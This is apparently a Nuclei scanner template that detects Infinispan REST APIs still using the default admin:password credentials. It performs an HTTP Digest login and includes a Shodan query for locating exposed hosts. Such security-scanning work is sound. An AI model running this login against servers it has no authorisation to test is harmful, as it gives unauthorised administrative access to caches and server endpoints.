infinispan-default-login: Infinispan - Default Admin Login

id: infinispan-default-login

info:
  name: Infinispan - Default Admin Login
  author: DhiyanesDk
  severity: high
  description: |
    The Infinispan REST API was found exposed with the default administrator credentials `admin:password`. An unauthenticated network attacker can authenticate via HTTP Digest and gain full read/write access to all cache managers, caches, and server administration endpoints.
  reference:
    - https://infinispan.org/docs/stable/titles/security/security.html
    - https://infinispan.org/
  metadata:
    max-request: 2
    verified: true
    vendor: redhat
    product: infinispan
    shodan-query: http.favicon.hash:647951307
  tags: default-login,infinispan,redhat,config

flow: http(1) && http(2)

variables:
  username: "admin"
  password: "password"

http:
  - raw:
      - |
        GET /rest/v2/cache-managers/default HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json

    matchers:
      - type: dsl
        dsl:
          - 'status_code_1 == 401'
          - 'contains(tolower(header_1), "digest realm=")'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: realm
        part: header
        group: 1
        regex:
          - 'realm="([^"]+)"'
        internal: true

      - type: regex
        name: nonce
        part: header
        group: 1
        regex:
          - 'nonce="([^"]+)"'
        internal: true

  - raw:
      - |
        GET /rest/v2/cache-managers/default HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json
        Authorization: Digest username="{{username}}", realm="{{realm}}", nonce="{{nonce}}", uri="/rest/v2/cache-managers/default", qop=auth, nc=00000001, cnonce="0a4f113b", response="{{md5(concat(md5(concat(username,":",realm,":",password)),":",nonce,":00000001:0a4f113b:auth:",md5("GET:/rest/v2/cache-managers/default")))}}", algorithm=MD5

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(body, "\"name\"", "\"cache_manager_status\"")'
        condition: and
# digest: 4b0a00483046022100afa7f6ccdbb8f26f5da99d449c9ee0cdc0e5246a464961bcd6e29d60affa621c022100984d6b7cb6800f661ec1e5334810ded837a213e8687063e76858a7e5ffc1e019:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.